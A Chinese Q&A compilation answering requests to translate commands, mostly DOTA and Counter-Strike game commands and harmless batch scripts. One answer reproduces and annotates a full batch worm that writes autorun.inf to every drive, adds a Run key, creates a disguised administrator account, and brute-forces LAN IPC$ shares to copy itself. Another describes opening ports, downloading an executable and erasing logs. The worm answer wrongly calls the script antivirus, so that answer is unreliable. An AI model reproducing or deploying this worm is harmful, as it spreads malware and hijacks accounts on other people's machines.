① 求助翻譯一下DOS命令
@echo off
if exist ipconfig.txt del ipconfig.txt
ipconfig /all >ipconfig.txt
if exist hostname.txt del hostname.txt
find "Host Name" ipconfig.txt >hostname.txt
for /f "skip=2 tokens=16" %%M in (hostname.txt) do set Name=%%M
rasdial 寬頻連接 %Name% 123456
rasdial adsl %Name% 123456
del ipconfig.txt
del hostname.txt
著個是說打開寬貸連接 然後輸入帳號123456 密碼123456 然後刪除 del ipconfig.txt del hostname.txt
② 命令怎麼翻譯
order 或者 command (v.)/(n.)
③ 命令翻譯
控制用戶密碼
④ 幫我翻譯下面dos命令
打開219.139.81.188,將結果保存到c:\1.txt&
打開本地埠46603將結果保存到c:\1.txt&
打開遠程埠46603將結果保存到c:\1.txt&
下載gezi.exe文件將結果保存到c:\1.txt&
刪除日誌及下載的文件
⑤ 關於DOTA的命令大全翻譯
這些命令通常由主機在游戲開始的15秒之內輸入,並且通常會標在房間的標題上。這些游戲模式會影響到玩家的游戲方式。
-aa - "All Agility"的簡稱;強迫所有玩家只能選擇敏捷型英雄。
-ai - "All Intelligence"的簡稱;強迫所有玩家只能選擇智力型英雄。
-ap - "All Pick"的簡稱;玩家可以從敵對雙方所有的酒館中選擇英雄。
-as - "All Strength"的簡稱;強迫所有玩家只能選擇力量型英雄。
-ar - "All Random"的簡稱;所有玩家使用隨機從所有酒館中選出的英雄開始游戲。在這個模式下重新選擇需要的花費從200漲到400。
-ctf - "Capture the Flag(奪旗模式)"的簡稱;在這個模式下玩家不再需要摧毀古代遺跡,而是要到對方基地奪取旗子並拿回己方基地,每個帶回己方基地的旗子算1分。任何帶有旗子的英雄對所有對方英雄都是可見的並且英雄的魔法值被始終設定為0;最先得到5分的隊伍將會獲勝(現在這個模式不可以使用) 。
-dm - "Death Match"的簡稱;如果一個玩家的英雄死亡,那麼那個英雄將被移出遊戲同時玩家從還剩下的英雄中選擇一個新英雄繼續游戲。當一個隊伍的英雄死亡達到36次時,這個隊伍就輸掉了比賽。當英雄死亡時,你將失去普通游戲模式中失去的金錢和一個英雄等級。(在新版本中-你將不在失去一個等級)等級丟失並不是一個bug:以前的版本英雄死亡會丟失所有的級別和物品。這是一個進步,因為dev戰隊不希望太多的改變dm模式。6.20版開始,死亡競賽模式被重新激活。
- - "Duplicate Mode"的簡稱;不同的玩家可以選擇相同的英雄。現在只能同-allrandom模式一起使用。
-id - "Item Drop"的簡稱;在這個模式下隨機的物品掉落取代金錢丟失成為對英雄死亡的懲罰。註:游戲會隨機的選擇一個物品欄掉落,所以買許多便宜的物品並不是一個好主意。有傳言說物品的掉落並不是完全隨機的,75%的幾率掉落最好的物品,25%幾率從其他物品欄中掉落。
-lm - "League Mode"的簡稱;這是在6.20版本中引入的只能用於5 v 5游戲的新模式。在"聯賽模式"中,每個玩家輪流選擇英雄,近衛軍團的玩家A選擇一個英雄,然後亡靈天災的玩家B和玩家C選擇英雄,接著近衛軍團的玩家D和玩家E選擇英雄,如此往復直到所有的玩家都選擇了英雄。如果一個玩家沒有選擇英雄,那麼他會得到一個隨機的英雄並損失所有的初始金錢。譯者註:現在版本中玩家有20秒時間來選擇英雄。
-mm - "Mirror Mode"的簡稱;玩家可以像通常那樣選擇英雄,但是在一個給定的初始時間之後,隊伍的英雄組成將依據雙方英雄選擇而被隨機選擇並且相關玩家將被給予相同英雄。最終2邊將得到完全相同的英雄組成,就像模式的名字一樣(5v5游戲= 5對從10個可能英雄中挑出的同樣的英雄)。(現在這個模式是不可用的)
-mr - "Mode Random"的簡稱;從 ar/ap/tr/regular 中隨機挑出一個游戲模式。
-re - "Reverse"的簡稱;己方英雄由對方玩家選擇,反之反是。(現在這個模式是不可用的)
-sc - "Super Creeps"的簡稱;隨機的超強野怪會在每波小兵中產生。這個模式是完全隨機的,會有攻城傀儡,恐怖怪魚,遠古九頭蛇隨機加入雙方陣營以增加游戲的成就感。這並不是完全的公平,因為隨機選取和多變的超級士兵的產生(例如,近衛軍團可能會在游戲的晚期才獲得超強士兵,而相對而言亡靈天災可能更早更頻繁的獲得超強士兵)。新的版本(例如6.27b)嘗試用同時生成的超強士兵來解決這個問題。另外,殺死超級士兵能得到同摧毀一個塔差不多的金錢,鼓勵玩家跟在他們後面。即使讓兩邊的超級士兵同時生成,一邊仍然可能處於劣勢,比如得到了一個較弱的超級士兵而對方得到了一個較強的超級士兵。在這種情況下,非常有可能出現一方在游戲早期就得到了一個遠古九頭蛇(最強的超級士兵)並且摧毀了對方幾個塔從而很有可能導致游戲的快速結束,因為就當時的等級而言對方對這個超強的士兵沒有什麼辦法。
-sm - "Short Mode"的簡稱;建築和塔的生命值被減低,更多的經驗獲得和金錢積累。這個模式是公共游戲房間上最常用的游戲模式,通常會同-ap一起使用。一些更有經驗的老玩家認為這個模式通過使後期英雄更容易變強而改變了游戲的平衡性(比如幻影刺客和小狗),這些後期英雄可以在短時間內更容易的達到他們的頂峰並且中期英雄(主要是智力型英雄)的優勢時間被大大縮短了。
-np - "no powerups"的簡稱,神符不再隨機的在河道中間生成。
-tr - "Team Random"的簡稱;玩家獲得一個隨機的笨方英雄(近衛軍團,或者亡靈天災),他可以在游戲的第一分鍾使用-repick命令花費500金錢來重新選擇英雄。
玩家命令
英雄選擇過程中的命令:
-random - 在己方選擇一個隨機英雄。你可以輸入 -repick命令花費200金錢重新隨機選擇一個英雄(註:在-allrandom模式和你自己輸入-random時重新選擇英雄的費用是不同的)。你只能在游戲開始的時候重新選擇;在一定時間之後,-random便失效了。
-repick - 給你一個新的,隨機的英雄,如果你在一個-ar的游戲中或者你自己希望更換你的英雄(花費400/200金錢)。重新選擇英雄有一個45秒的時間限制(最大的重新選擇次數是一次)。如果你選擇了某個特定的英雄,輸入-repick命令是有效的,玩家將失去現在的英雄和更多金錢,並得到一個新的隨機英雄。這個情況只有在一個玩家無意按下了一個快捷鍵(當某個酒館被選擇時)召喚了一個英雄時才有實際意義。
用來在屏幕上顯示信息的信息指令:
-beamcounter - 用來顯示月之騎士所施放的月光數目。(從6.18版本開始,這個命令被移除,根據冰蛙的說法,再也不會被加入)
-creepstats (-cs) - "Creep Stats"的簡稱;玩家可以追蹤他們殺死的敵方/己方小兵數量
-csboardon - 總是顯示玩家殺死的小兵數量。
-csboardoff" -停止顯示玩家殺死的小兵數量。
-matchup (-ma) - 顯示對方玩家的名字,顏色,和他們正在控制的英雄。
-movespeed (-ms) - 顯示現在的移動速度(供調試和獲得信息)。包括物品和技能對速度的加成效果。
游戲時的指令,通常用來解決英雄的一些小問題:
-disablehelp - 禁止己方聖騎的忠誠考驗被加在玩家控制的英雄身上。
-enablehelp - 解除禁止己方聖騎的忠誠考驗被加在玩家控制的英雄身上。
-recreate - 對於一些擁有和世界地圖編輯器中沒有的變身技能的英雄,比如:龍騎士,狼人,食屍鬼和靈魂守衛,有可能發生一些失去對英雄控制的問題。這可以通過把英雄帶回生命之泉並且輸入這個命令來解決。
-refresh - 作用於幻影刺客(PA),這個命令用來刷新她的部分隱形技能"模糊"(解決在她死後隱形狀態會被解除的問題)。從6.10版發布以來,霜星不再會使PA的隱形失效。值得注意的是即使不輸入-refresh命令,"模糊"仍然會給予PA被動的閃避效果,她只是不"隱形"而已。技術上來說,玩家受到不停的輸入-refresh命令的折磨比PA更容易被發現更痛苦。6.20版以後,這個指令被廢除,因為PA會自動的刷新她自己的狀態。
-unstuck - 將你的英雄在60秒後傳送到生命之泉;當你的英雄被卡在了一個沒辦法移動的位置(比如被困在樹林中)的時候可以使用這個指令。在傳送的過程中英雄不能移動,並且命令生效的延遲時間可以阻止玩家濫用這個命令。
⑥ 幫我翻譯這些命令
我可能說的不怎麼正確! 按我知道的說!
:: 後面的都是注釋! 不是命令
::我不知道你們怎麼對病毒感染如此感冒。
::我們是來救人的,不是來害人的。希望不要亂用亂學。
setlocal ENABLEDELAYEDEXPANSION
設置環境變數
::關閉EXPLORER。EXE進程,讓用戶無法看見運行的BAT
::並且利用START最小化BAT
TASKKILL /F /IM EXPLORER.EXE>nul
結束EXPLORER.EXE(桌面進程)
:newautorun
標簽
::建立autorun.inf文件
echo [autorun]>autorun.inf
echo open=%windir%\auto.cmd>>autorun.inf
echo shellexecute=%windir%\auto.cmd>>autorun.inf
echo shell\auto\command=%windir%\auto.cmd>>autorun.inf
echo start for
for %%i in (C D E F G H I J K L M) DO (
COPY /y autorun.inf %%i:\>nul
)
建一個autorun.inf文件,內容為
[autorun]>autorun.inf
open=%windir%\auto.cmd>>autorun.inf
shellexecute=%windir%\auto.cmd>>autorun.inf
shell\auto\command=%windir%\auto.cmd>>autorun.inf
再復制autorun.inf文件到各個盤符下!(這是防U盤傳播毒的)
:start
/y %0 %windir%\>nul
復制,自身 到 windows 目錄下!
::啟動時啟動病毒文件
::其實這里我們還可以把啟動名改為ctfmon或IMSCMig輸入法的名稱,這樣
SET REG1="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run"
REG ADD %REG1% /v Script /t REG_SZ /d %windir%\auto.cmd>nul
把auto.cmd加入啟動項!
::建立新的用戶
::偽裝成一個幫助提供商的用戶名SUPPORT_388945_0;
::有的系統不能讓用戶名為空,或不能密碼太簡單e
set user1=SUPPORT_388945_0
set pass=admin3389
net user %user1% %pass% /add
net localgroup Administrators %user1% /add
新建具有管理許可權的用戶。用戶名SUPPORT_388945_0,密碼admin3389
::檢查所有活動的機子
rem ###########################
rem 建立密碼文件
echo admin3389>hack.txt
echo 123456>>hack.txt
echo admin>>hack.txt
echo 00>>hack.txt
建立hack.txt 文檔!內容是:
admin3389>hack.txt
123456>>hack.txt
admin>>hack.txt
00>>hack.txt
rem ########################### 注釋
net view>host.txt
for /f %%a in (host.txt) do (
for /f %%b in (hack.txt) do net use %%a\ipc$ "%%b" /user:administrator
/y %windir%\auto.cmd %%a\admin$
/y %windir%\autorun.inf %%a\c$
)
鏈接,區域網用戶! 復制auto.cmd,autorun.inf到區域網電腦里!
::最後再把EXPLORER.EXE進程啟動,讓用戶恢復操作,呵呵
%windir%\explorer.exe
啟動。桌面進程!(看見了桌面!)
總的來說~ 這是防毒
我的解釋,我的水平。也就能解釋這么多了!
⑦ 幫我翻譯一下這些 DOS命令的意思
rem 是對上一行代碼的解釋
d:
rem 跳轉到d盤
cd bio5
rem 跳轉到d盤下的bio5文件夾
cd nativePC
rem 跳轉到bio5文件夾的nativepc文件夾,以下就不解釋了,都是這個意思
cd Image
cd Archive
arc.exe x 4.arc
precomp.exe -r 4.pcf
rem arc和precomp都不是命令提示符的內部命令,估計是什麼軟體的命令形式,比如winrar軟體的命令行形式:"rar hello.rar bobo.txt" ,這條命令也可以吧bobo這個文件壓縮為hello.rar.
⑧ CS命令翻譯``
團隊呼叫鍵 X 呼叫出團隊命令
報告呼叫鍵 C 呼叫出相應報告命令
普通指令 Z鍵
1. "Cover Me" 掩護我 沖鋒的時候需要隊友的火力掩護
2. "You Take the Point" 你占據該要點 讓隊友占據此射擊點
3. "Hold This Position" 占據這個位置 告訴隊友佔領此處有利地形
4. "Regroup Team" 重組隊伍 把分散的隊員重新組織起來
5. "Follow Me" 跟隨我 讓隊友跟你一起去某處完成任務
6. "Taking Fire, Need Assistance" 吸引火力,需要援助 需要沖鋒的時候,請求同伴吸引對方火力。
0. Exit 退出選單
團隊指令 X鍵
1. "Go" 走,前進 大家一起前進或者沖鋒
2. "Fall Back" 後退 用來通知隊友一起向後撤退
3. "Stick Together Team" 保持隊形 顧名思義,就是要保持現有隊形。
4. "Get in Position" 進入適當的位置 讓隊友進入指定的位置
5. "Storm the Front" 守住前面 敵人已經攻過來了,一定要守住這最後的防線。
6. "Report In" 報告情況 用於要求隊友報告他的情況。
回答組 C鍵
1. "Affirmative/Roger" 收到 接到隊友的信息時,用來通知隊友你以收到消息。
2. "Enemy Spotted" 發現敵人 告訴隊友你發現敵人的藏身位置。
3. "Need Backup" 需要支援 請求隊友幫助
4. "Sector Clear" 地區清除 全面清除該地區敵人,不漏過一個角落
5. "I'm in Position" 我在適當的位置 報告你已經到達指定位置。
6. "Reporting In" 報告你的位置 告訴隊友你的位置。
7. "She's gonna Blow!" 炸彈將要爆炸 要爆炸了還不快跑:)
8. "Negative" 拒絕(接受) 就是拒絕隊友的命令和請求。
9. "Enemy Down" 消滅敵人 通知隊友你已經拔掉對方的釘子。
⑨ 翻譯2個bat命令
@echo off&setlocal EnableDelayedExpansion //關閉回顯並開啟延遲變數環境
for /d %%i in (*) do ( //通過for命令獲取當前目錄中所有文件夾
set a=%%i //設置文件夾名到變數a
set b=!a:~3! //從變數a的第四位開始截取值,並賦予到變數b
ren %%i !b! // 把之前的for到的文件夾重命名到變數b的值
) //結束for命令
@echo off&setlocal EnableDelayedExpansion //關閉回顯並開啟延遲變數環境
set "wxyz=%*" //設置變數wxyz,值為%*。但在實際測試中發現,這個變數值根本沒用。會導致後面的命令無法正確執行。我估計你是要設置的是*,那麼就不需要那個%啊
for /d %%a in (!wxyz!) do ( //通過for命令獲取當前目錄中指定了變數wxyz的文件夾。
set wy=%%~a //設置文件夾名到wy變數
set xz=%%~na //設置文件夾名到xz變數,這里的設置可以把帶有後綴名的文件夾名變成不帶後綴的。
set xz=!xz:~0,-3! //把變數xz的值,去掉最後三位字元,並再賦值到新的變數xz
ren "!wy!" "!xz!" //把變數wy的值重命名為新的變數xz的值
) //結束for命令
pause //暫停腳本
⑩ 誰來幫我翻譯下DOS的所有命令
你的系統不能動是嗎? 我記著早期DOS環境下有一個 中文DOS的軟體,裝上以後,運行了你的DOS命令就都變成中文的幫助了!